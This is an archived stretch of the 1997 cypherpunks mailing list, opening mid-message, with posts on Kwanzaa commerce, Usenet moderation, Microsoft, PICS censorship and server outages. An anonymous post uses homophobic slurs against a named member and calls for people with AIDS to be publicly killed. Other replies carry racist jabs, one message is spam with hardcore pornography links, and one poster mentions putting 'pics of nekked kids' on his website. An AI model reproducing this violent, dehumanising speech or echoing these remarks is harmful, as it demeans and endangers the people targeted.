 Ronald L. Rivest, a professor at the Massachusetts Institute of
 Technology and a founder of MIT's Cryptography and Information
 Security Group, agreed.

 ``When you are dealing in a situation where someone is working
 by hand with a code, and dealing with pencil and paper, it's not
 that difficult'' to decode, he said.


 ==
 The information standard is more draconian than the gold
 standard, because the government has lost control of the
 marketplace.
 ==
 http://www.dis.org/erehwon/



 For help on using this list (especially unsubscribing), send a message to
 "dcsb-request@ai.mit.edu" with one line of text: "help".


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http://www.hyperion.co.uk/                          info@hyperion.co.uk
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Dec 1997 11:02:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Kwanzaa hijacked by white businesses... [CNN]
Message-ID: <199712270322.VAA03217@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>           SOME RETAILERS SAY WHITE CORPORATIONS ARE HIJACKING KWANZAA
>                                        
>      graphic December 26, 1997
>      Web posted at: 9:53 p.m. EST (0253 GMT)
>      
>      WASHINGTON (CNN) -- As celebrations begin for Kwanzaa, the
>      30-year-old African-American holiday, some black business owners say
>      they worry the celebration, which emphasizes black self-reliance, is
>      being hijacked by white-owned corporations.
>      
>      "When this holiday came into existence, it was almost a
>      laughingstock," says Magaji Bukar, a gift shop owner. "And now that
>      (retailers) can make some money, now (they) want to be a part of
>      this. We're saying, 'No.'"
>      
>      "This is more than just money. This is culture," he said.
>      
>      Bukar is one of about 1,000 African-American business owners who
>      have launched a letter-writing campaign, demanding that large
>      companies -- including Hallmark Cards and Giant Foods -- stop
>      selling Kwanzaa-related items. They are urging African-Americans to
>      buy Kwanzaa supplies and goods only from black businesses.
>      
>      But not all African-Americans agree. For example, Pamela Rucker of
>      the National Retail Federation says merchants are simply responding
>      to the free market and showing respect for the holiday. Magaji Bukar
>      Magaji Bukar 
>      
>      "Retailers have a responsibility to serve their consumers, whether
>      African-American, Hispanic, Asian, whatever," she said. "If
>      consumers didn't tell us they wanted Kwanzaa-related products, or
>      other ethnic or culturally-related products, retailers wouldn't
>      stock them."

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sat, 27 Dec 1997 15:41:50 +0800
To: cryptography@c2.net
Subject: BAY AREA CYPHERPUNKS MEETING 1/17/98 - Preliminary Schedule announcement
Message-ID: <3.0.3.32.19971226232557.006da068@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The January Bay Area Cypherpunks meeting will be on January 17th,
rather than the normal second Saturday, to accommodate the RSA conference
and W3C conference that will be in town that week.

The agenda is not set, but will include
- Export law presentation by Lee Tien, Greg Broiles, and maybe Cindy Cohn
- Secure DNS export
- Latest PGP / McAfee / Network Associates merger and related discussion
- More topics appreciated

Location will probably be PGP headquarters in San Mateo, but may
be another convenient Bay Area location.

A more detailed announcement will follow.

				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Dec 1997 13:06:02 +0800
To: cypherpunks@toad.com
Subject: Re: Kwanzaa hijacked by white businesses... [CNN]
In-Reply-To: <199712270416.XAA24483@users.invweb.net>
Message-ID: <gmTcie3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@invweb.net> writes:
> >>      Bukar is one of about 1,000 African-American business owners who
> >>      have launched a letter-writing campaign, demanding that large
> >>      companies -- including Hallmark Cards and Giant Foods -- stop
> >>      selling Kwanzaa-related items. They are urging African-Americans to
> >>      buy Kwanzaa supplies and goods only from black businesses.
...
> I wonder what the Ministry of Propaganda, CNN Branch would have to say if
> rather than Magaji Bukar this was David Duke demanding that Blacks stop
> selling Christmas Items proclaiming it a "white" holiday and Verboten for
> Black.

Just as a side remark: why what standard are hallmark and giant foods "white"?
If they're like most big corporations, they probably bend over backwards to
promote blacks via "affirmative action" quotas, and have more blacks in
positions of responsibility than they possible could have if they based their
hiring decisions on merit. Evidently this is not good enough for racists
hatemongers like Jesse "Hymietown" Jackson and Louis Farrakhan.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka-help@eureka.abc-web.com
Date: Sat, 27 Dec 1997 09:58:41 +0800
To: cypherpunks@toad.com
Subject: Successful Subscription
Message-ID: <883187480.5572.ezmlm@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain



WELCOME TO EUREKA!
==================
Congratulations,  your free subscription to the Eureka!
newsletter is now set up. We hope you enjoy every copy.
As promised,  while you wait  for your first newsletter
here are the links to  the FREE videos and FREE photos!

BIENVENUE À EUREKA!
===================
Félicitations,  votre abonnement  libre à  l'Eureka! le
bulletin  est  maintenant installé.  Nous espérons  que
vous  appréciez chaque copie.  Comme promis,  alors que
vous attendez votre premier bulletin ici sont les liens
aux videos LIBRES et aux photos LIBRES!

WILLKOMMEN ZU EUREKA!
=====================
Glückwünsche,   Ihre  freie  Subskription  zum  Eureka!
Rundschreiben wird jetzt oben eingestellt.  Wir hoffen,
daß Sie jedes  Exemplar genießen.  Wie, während Sie Ihr
erstes Rundschreiben hier warten, sind die Links zu den
FREIEN videos und zu den FREIEN Fotos versprochen! 

RECEPCIÓN A EUREKA!
===================
Felicitaciones,  su  suscripción  libre  al  Eureka! el
boletín  de   noticias  ahora  se  fija   para  arriba.
Esperamos  que  usted  goce  de  cada  copia.  Según lo
prometido,  mientras que usted espera su primer boletín
de noticias aquí son las conexiones a los videos LIBRES
y a las fotos LIBRES!

=======================================================
FREE hardcore videos ........ http://www.slutorama.com/
FREE hardcore photos .... http://209.50.232.36/desires/
=======================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Information Security <guy@panix.com>
Date: Sat, 27 Dec 1997 16:27:24 +0800
To: cypherpunks@toad.com
Subject: cypherpunks missing from Usenet
Message-ID: <199712270822.DAA12498@panix2.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



I know most of you don't use Usenet anymore...

Nevertheless, I'd appreciate any help.
---guy


#   From: guy+U2_Czars_suck@panix.com
#   Subject: Re: EFF Director calls for requiring digital signatures for Net access
#   Newsgroups: comp.org.cauce,comp.org.eff.talk
#   Followup-To: comp.org.cauce,comp.org.eff.talk
#   Organization: Information Security at NYC, Third Planet From the Sun

T. Max Devlin <mdevlin@eltrax.com> wrote:
:   On 20 Dec 1997 05:28:35 -0500, Cipher <cipher@mindspring.com> wrote:

:   >The CAUCE group is just getting started and *Digital Signatures* are
:   >mentioned in the same breath with anti-UCE techniques.  From knowing
:   >absolutely who everyone is to knowing absolutely what everyone is saying
:   >seems a logical progression.  I see the *Good users are known users*
:   >mentality as the leading edge of draconian restrictions on Usenet and
:   >e-mail that are in the works.

:   It is not a logical progression.

:   Nevertheless, civility (which is what we're trying to achieve)
:   requires a balance between individual "rights" of privacy and
:   public knowledge of who is saying what.

A "balance" between "privacy" and "public knowledge of who is saying what"???

Like the FBI wants a "balance" between the rights of people to use
cryptography and law enforcement concerns?

You are truly a nutcake.

    T. Max Devlin <mdevlin@eltrax.com> wrote:

:   This extremist view that to be able to identify who is saying something is
:   automatically the same as censorship is getting more and more ludicrous.

The US Supreme Court disagrees with you regarding anonymous speech.

    T. Max Devlin <mdevlin@eltrax.com> wrote:

:   Without rational examination of the issues, the ultimate solution will
:   inevitably be that the Internet is unusable for public discourse.

Imminent death of the Internet, film at 11.

An MIT study has shown civility is *unnatural* among heavy email users.

Even Russ Allbery will through out a "bullshit" and more now and then,
or do you want to argue about what "civility" means?

----

What does civility mean to Usenet II Czars?

It means deleting off-topic posts (which they've done), because they
are "abusive".

#   *   [usenet2] A New Virtual Community
#   *   From: Stephanie da Silva <arielle@bonkers.taronga.com>
#   *   Reply-To: usenet2@usenet.com
#   *   Date: Fri, 16 Jun 1995 03:12:04 -0500 (CDT)
#    
#   I'm somewhat disillusioned because two of my favorite newsgroups seem
#   to be plagued by a similar problem -- an increase in off-topic chatter.
#    
#   This has gone to the point on one of the groups
#   where some people have actually adopted an OFF-TOPIC keyword and use it
#   in subject headers.
#    
#   In a very recent discussion where I pointed out that this went against
#                                                        ^^^^ ^^^^ ^^^^^^^
#   the very foundation of Usenet and that off-topic threads were 100% noise,
#   ^^^ ^^^^ ^^^^^^^^^^ ^^ ^^^^^^
#   a user that has been posting less than a year and a half (from Netcom)
#   patiently explained to me how she felt the main appeal of the newsgroup
#   was its diverse nature and that she found the off-topic threads
#   "invigorating."
#    
#   So I guess my point is I wish there were some mechanism in place to
#   reinforce that newsgroups are focused discussion groups and not informal
#   chat rooms or coffee klatches.  People are not taking it to email the
#   way they tended to in the "good old days."
#    
#   I was just talking about this with someone in email.  She described an
#   incident that had happened on rec.arts.books.  Someone flamed (ironically
#   enough) Mike Godwin for posting off-topic.  She said Godwin's response
#           ^^^^ ^^^^^^ ^^^ ^^^^^^^ ^^^^^^^^^
#   was that rec.arts.books was not a place for talking about books per se,
#   but a place where 'bookish' people could get together and chat.
#   
#   That pretty much sums up the point I was trying to make.

What else? What have the U2 Czars controlling CAUCE also done?

Not allowed the admin of a one-way remailer who returned the required
token for posting to comp.org.cauce to post here; no explanation given
despite repeated requests.

That's not "civil", Max.

----

    T. Max Devlin <mdevlin@eltrax.com> wrote:

:   Authentication is a required capability of any multi-user communications system.

Apparently you have never heard of pay-phones, 900 re-dial services, etc.

:   The question is not whether we can get away without it (in the long run, I fear,
:   we cannot).  The question is how we can implement it in a rational fashion that
:   isn't too slanted one way or the other between personal and public desires.

The question is: how can control-freaks like you
be beaten to a bloody pul^W^W^W^W back?

---guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Sun, 28 Dec 1997 05:12:50 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Why I Support Microsoft
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: <4134-Sat27Dec1997125332-0800-Patrick May <pjm@spe.com>
MIME-Version: 1.0
Content-Type: text/plain



[ A bit delayed, due to the holidays. ]

Tim May writes:
 > Anyway, the recent government actions against Microsoft are reprehensible
 > to any person who values liberty. Microsoft is being punished for its
 > success.

     Mr. May and others have addressed the government's abuse of
Microsoft eloquently and well.  It is clear that the DOJ is well out
of constitutional bounds with this litigation.  It is equally clear
that the real problem with Microsoft is that its poorly designed,
bloated, _inelegant_ software is pervasive.

     The solution to both of these problems lies in David Honig's
signature:

 > "Windows 95 is a technologically complex product that is best left
 > alone by the government..."
 > ---MSFT Atty B. Smith

The President should issue an executive order mandating that all
government agencies immediately remove all Microsoft operating systems
from their machines, to be replaced with Linux.  All Microsoft
products should be eliminated as well.  The standard text format
should be LaTeX.  All businesses receiving money from government
contracts should be required to use the same tools.

     This would cut down dramatically on the money spent on software
by the government, eliminate compatibility problems between users of
different versions of Microsoft products, encourage enormous growth in
the Linux software market, and guarantee that Microsoft would never
again be considered a monopoly.  All this without ever entering a
courtroom.

     Perhaps there's a congressman or two out there who'd like to make
some political hay by pushing this from the legislative branch....

Regards,

Patrick May
S P Engineering, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 28 Dec 1997 05:29:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Why I Support Microsoft (fwd)
Message-ID: <199712272147.PAA04354@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 27 Dec 1997 12:53:32 -0800
> From: Patrick May <pjm@spe.com>
> Subject: Re: Why I Support Microsoft

> The President should issue an executive order mandating that all
> government agencies immediately remove all Microsoft operating systems
> from their machines, to be replaced with Linux.

Why are you trying to ruin Linux?


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 28 Dec 1997 01:54:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: cypherpunks missing from Usenet
Message-ID: <199712271745.SAA01181@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199712270822.DAA12498@panix2.panix.com>,
Information Security <guy@panix.com> wrote:

>I know most of you don't use Usenet anymore...
>
>Nevertheless, I'd appreciate any help.
>---guy

We don't like Usenet because it's full of faggots like Guy Polis.

A useful function for a government would be to round up all the
AIDS-infected faggots like Guy Polis and to put them publicly out
of their misery in fun creative ways, like they do in Iran.

I see great possibilities for live family entertaintment.

Thank God for AIDS!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <anon@squirrel.owl.de>
Date: Sun, 28 Dec 1997 04:27:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Kwanzaa hijacked by white businesses... [CNN]
Message-ID: <7e9cd9d57e4acd4224cb5e528fc41b25@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>Just as a side remark: why what standard are hallmark and giant foods "white"?
>If they're like most big corporations, they probably bend over backwards to
>promote blacks via "affirmative action" quotas, and have more blacks in
>positions of responsibility than they possible could have if they based their
>hiring decisions on merit. Evidently this is not good enough for racists
>hatemongers like Jesse "Hymietown" Jackson and Louis Farrakhan.

By extension what would happen if a white guy called for black people to be
banned from any given thing? They'd be called a racist and run out of town,
sued, and everything else.

I spit on political correctness and affirmative action, and I'm not a racist
or sexist either. <spit hack loogie>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 28 Dec 1997 08:22:46 +0800
To: Information Security <guy@panix.com>
Subject: Re: cypherpunks missing from Usenet
In-Reply-To: <199712270822.DAA12498@panix2.panix.com>
Message-ID: <3.0.3.32.19971227190734.032c299c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 03:22 AM 12/27/97 -0500, Information Security wrote:
>What else? What have the U2 Czars controlling CAUCE also done?
>
>Not allowed the admin of a one-way remailer who returned the required
>token for posting to comp.org.cauce to post here; no explanation given
>despite repeated requests.

My understanding was that the Cracker remailer was allowed to post on some
CAUCE moderated thing, presumably the newsgroup.  I seem to recall that the
token was returned and posting capability had been verified.  Has something
changed?  Which remailer was it?


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Information Security <guy@panix.com>
Date: Sun, 28 Dec 1997 09:05:40 +0800
To: cypherpunks@toad.com
Subject: Re: cypherpunks missing from Usenet
Message-ID: <199712280053.TAA15731@panix2.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



   >   From pooh@efga.org Sat Dec 27 19:07:33 1997
   >   
   >   At 03:22 AM 12/27/97 -0500, Information Security wrote:
   >   >What else? What have the U2 Czars controlling CAUCE also done?
   >   >
   >   >Not allowed the admin of a one-way remailer who returned the required
   >   >token for posting to comp.org.cauce to post here; no explanation given
   >   >despite repeated requests.
   >   
   >   My understanding was that the Cracker remailer was allowed to post on some
   >   CAUCE moderated thing, presumably the newsgroup.  I seem to recall that the
   >   token was returned and posting capability had been verified.  Has something
   >   changed?  Which remailer was it?

If I was wrong, nobody ever corrected me despite my
posting the complaint repeatedly to comp.org.cauce.

Look up the original posts at DejaNews:

#   Subject:      Re: Has the lcs mixmaster remailer been banned?
#   From:         lcs Remailer Administrator <mix-admin@nym.alias.net>
#   Date:         1997/11/25
#   Message-ID:   <19971125051724.27312.qmail@nym.alias.net>
#   Newsgroups:   comp.org.cauce
#
#   beigel@rbo.eecs.lehigh.edu (Richard Beigel) writes:
#
#   > You have to reply to the message sent by the modbot.  If you don't,
#   > then your message shouldn't be posted.  I guess you find out how this
#   > works the first time that you post (Ooh! I can hardly wait:-).
#
#   I think you are missing the point.  I replied to the original message.
#   That's how the strange moderation policy thread got started.  The fact
#   that a thread was started proves that I went through the cookie
#   exchange properly.  The problem is that that e-mail address seems to
#   have been subsequently banned with no apparent expanation.  Or, there
#   is some technical problem.
#
#   It's definitely the case that mix@anon.lcs.mit.edu bounces a copy of
#   non mixmaster messages back to the sender in case the sender didn't
#   know it was a remailer and wants to resend the article somewhere else.
#   However, that doesn't mean I can't spool such messages in a mailbox
#   and read them if this is required by the moderation policy.
#
#   I just want to know exactly what the policy is and what I need to do
#   to post from the address mix@anon.lcs.mit.edu.

They never answered. Not him, not me.

Speaking of problems: it's definite: the great attempt to
censor the Internet has begun in England.

Mainly Usenet is under attack: pics of mere nudity are being
deleted without any legal process whatsoever.

See my posts in comp.org.eff.talk ...

I've put two pics of nekked kids up at www.panix.com/~guy
as part of the "discussion".

They (Demon, UUNET, ...) are deleting both pics and
apparently text files too, and reporting them to the
police.

The Thought Police are here.
---guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Sun, 28 Dec 1997 09:59:44 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Re: ALERT: PICS Rules, not OK!
In-Reply-To: <66outm$jln1@iccu9.ipswich.gil.com.au>
Message-ID: <d9c3c82880d5697f6cc0b595a2d6f7d9@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



In article <67qbl6$am2@senator-bedfellow.MIT.EDU>, Seth Finkelstein wrote:
>In article <67ptsh$4rl$1@illuin.demon.co.uk>,
>Richard Letts  <richard@illuin.demon.co.uk> wrote:
>>In uk.net Paul L. Allen <pla@sktb.demon.co.uk> wrote:
>>> With PICSRULES they can tell ISPs, say, that all web traffic (see
>>> qualification above) must go through the ISPs proxy (some ISPs would
>>> probably like to make their routers enforce that anyway for bandwidth
>>> reasons) and that the proxy should use PICSRULES that the govt specify.
>>
>>Replace PICSRULES with 'English language specification' in the sentance
>>above.
>
>	Doesn't work, because there is no standard "English language
>specification" for content restrictions on proxy servers. This "PICS
>is like English" bit is getting really tiresome, if PICS were really
>like English, then there would be no need to construct such a special
>system in the first place! The fact that there is a need for such a
>language *designed* and *optimized* for censorship should give the lie
>to this comparison.

Right. I must be missing something here:

PICS is designed to label information under a variety of criteria. The stated
reason is that we want to "protect the children and those with frail minds" 
from "bad" information. Of course the definition of "bad" information varies
from person to person.

Let's assume PICS doesn't exist. Instead there's a single flag which can go on
a web page, USENET post, text file, FTP site, or whatever which denotes
whether the material is "suitable for children." I go off and publish bomb-making
information. Since that material is available in a high school chemistry textbook
with a little synthesis on the reader's part and I don't believe in censorship
of information, especially based on age, I mark it "suitable for children." How
is anybody going to stop me? I've expressed my opinion. And, after all, SingleFlag 
isn't for censorship, so theoretically nobody can do anything about it.

Of course people won't like this. Further if a bunch of people do that SingleFlag
becomes completely and totally useless. The only ways to enforce it are to sue me,
throw me in jail, or blacklist me from ISPs. In all three cases censorship is in
effect. In the first two cases people scream to the government <Exon> "We *already*
censor or rate content on the public airwaves, in computer games, on TV, and at
the movies. Why not on the Internet too?" </Exon>, and that's assuming that such
a law isn't in place already.

So say SingleFlag doesn't exist. Instead we have MultiFlag which rates content on
the basis of sexual content, violence, language, and nudity. Again, because I don't
believe in censoring content, I rate my material as "no sex, no violence, no lude
language, and no nudity." And again, the only way to enforce it is to sue me,
throw me in jail, or blacklist me from ISPs. And, again, in all three cases I'm
censored.

And if all the ISPs censor USENET feeds and HTTP connections, nothing keeps me from
playing all kinds of games with TCP/IP (or making my own protocol entirely) and 
distributing information that way. But then I suppose we have to ban that too,
since after all it has no use except to "corrupt the youth of the world" and to
espouse politically incorrect thoughts.

Now let's say that does happen. I go off and post my pornography anonymously, or
stick it on an Eternity server. Well, I guess we'd better ban those pesky anonymous
remailers now, right? After all, who needs anonymity unless they have something
to hide, right? "Good users are known users," we should have digital signatures
required on everything (and they aren't just any digital signature -- that would
defeat the purpose. We need some kind of central certification authority!), and
ban those politically incorrect opinions -- after all, we have the framework, right?

Posted anonymously. After all, this is politically incorrect and I wouldn't want to
get on somebody's ban list, right?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Information Security <guy@panix.com>
Date: Sun, 28 Dec 1997 10:18:07 +0800
To: cypherpunks@toad.com
Subject: Re: cypherpunks missing from Usenet
Message-ID: <199712280157.UAA17694@panix2.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



The Clive Feather person is emphatic only real child porn
is being deleted and reported to the police; he clarified
that the 1800 items listed for Sep 1997 are *total* for
the existence of IWF.

So, it's probably going to take me several weeks to
verify his claim.

I back off from my claim (based on his dialog) that
they are canceling mere nudity, for now.
---guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 28 Dec 1997 12:22:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ status - post BOOM... (fwd)
Message-ID: <199712280440.WAA00188@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Sat Dec 27 22:39:49 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712280439.WAA00168@einstein.ssz.com>
Subject: SSZ status - post BOOM...
To: users@ssz.com (SSZ User Mail List)
Date: Sat, 27 Dec 1997 22:39:48 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1315      


Hi all,

Well the system seems to be back up and running without any serious
problems.

Will continue to monitor the status...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 28 Dec 1997 12:22:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Explosion takes down SSZ!... (fwd)
Message-ID: <199712280440.WAA00198@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Sat Dec 27 22:33:23 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712280430.WAA00201@einstein.ssz.com>
Subject: Explosion takes down SSZ!...
To: users@ssz.com (SSZ User Mail List)
Date: Sat, 27 Dec 1997 22:30:51 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1714      


Hi all,

There was a power failure in my area this evening, a power transformer blew
from the sound I heard just as the power went out. After verifying the UPS
would keep the system up at least 20 minutes I shut the whole thing down.

The system seems to be back up at this time except for a problem with the
eth1 interface. I believe this is related to a glitch and will be working on
it over the next few minutes. The system may be a bit unstable because I
will need to reboot at least once...

Sorry for any inconvenience.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Sheriff <sheriff@speakeasy.org>
Date: Sun, 28 Dec 1997 12:58:22 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <l03020905b0c71912dc2f@[209.130.131.207]>
Message-ID: <l03020904b0cb7994661b@[209.130.132.185]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>At 5:02 PM -0800 12/24/97, Steve Schear wrote:
>>If you would be so kind as to a) specify that supreme court ruling,
>>and b) identify an online resource where I can obtain the text of
>>that decision, so that I can 1) confirm or deny your allegation, and
>>2) debate your position intelligently, I would greatly appreciate it.
>
>It has to do with the application of laws, especially Federal, to
>corporations.  Recall that Corporations are legal fictions and,
>unlike individuals, are not constitutionally vested with inaliable
>rights.  They have been affirmed some rights, including free speech
>but the SC, but generally with more limitations.

Okay, I'll avoid that since I have never read a scrap of
corporational law.

>>What if I run a business out of my house?  What if I don't need
>>employees (such that I could affort to hire a couple of people,
>>or nobody at all)?  If I hire someone who is white because I don't
>>want to hire someone is black, then it is not a loss that is felt
>>within the black community, since I don't *need* to hire anybody
>>in the first place.
>
>Use of your property, as long as its private, were vested with many
>>constitutional rights (many of which now been eroded by decades of SC
>>'interpretation').  However, once you operate a business upon a property
>>(evidenced by the issuance of a business license) it becomes a 'public
>>convenience' which can (and often is) heavily regulated and restricted.
>
>So, operate w/o a business license and incorporation and keep your rights
>but risk prosection for tax evasion, or license your business and lose many
>of those consititional protections you covet.  Catch-22.

Just out fo curiosity -- if I were to take my taxes out like I
were operating a business out of my house without declaring I am
as such, and then not take the "excess" tax money back as a return,
would the Fed have any grounds for suit of fraud, since I had paid
all the taxes of a business properly?

What I'm wondering is if the fraud charge would be because I haden't
paid the proper taxes or not.

>>I find it very interesting that liberal activists in California,
>>who rabidly insist that racism is wrong, that we must have racial
>>dialogues, that we should all "just get allong," used the court
>>system to fight Proposition 209, which ends affirmative action in
>>that state.  The people voted their will, and the activists took
>>to the courts to override the people's will -- in effect, saying
>>that the California voting public is just a bunch of idiots.
>
>They simply showed their true 'liberal' idiological colors.  What they
>really seek isn't guarantees of equal opportunity but equal outcomes
>under law, what Robert Bork calls Radical Egalitarianism in his recent
>book, "Slouching Towards Gamorah."

I haven't seen or read the book.  However, it would seem to me that
equal opertunity and equal outcome aren't one and the same.  While
you are making it possible for folks who wouldn't normally hit the
middle income road to do so, you are then also restraining the
brighter bulbs from taking off like NASA rockets (and the analogy is
correct, since being a genius doesn't guarantee success).

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ***<REPLY TO: sheriff@speakeasy.org>***
- ---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use <http://www.pgp.com>
Charset: noconv

iQEVAwUBNKXNjABMw4+NR29ZAQGO8wf7Bic4Y5v74dP4uCowXyqT68BkHlhU1/+p
hs4rD7w8D27TJkIep9kBLCZfvPo0i3cGqMN6NluAHJ4auf+TjezVCe4cheTXyZCJ
K/aoyZHgrmV1vH/wHHvbODc8Aq5kVzrcCAnfPF9T4j/2gS3pbMp+VALlix/Cp53u
TRpqLNCTlFnwiZVO8h82hF/gnNiNxmHQ7UoPG1WJYXUSiDTmRjEhM0RnmDdThaEh
W1Yh0O1Xpl6F6B13ZNTby3PTDh2FzllscFmPtWtxl4iCWeHERHL6f4Jpb/9uVrgB
N7eT1veC7fkSMFJaKGNT73GEBzxz5gphjmVLPsr8QKdVjVfS20eyRw==
=B4z0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 28 Dec 1997 13:23:45 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: New hi-tech dog tags use encryption?... [CNN]
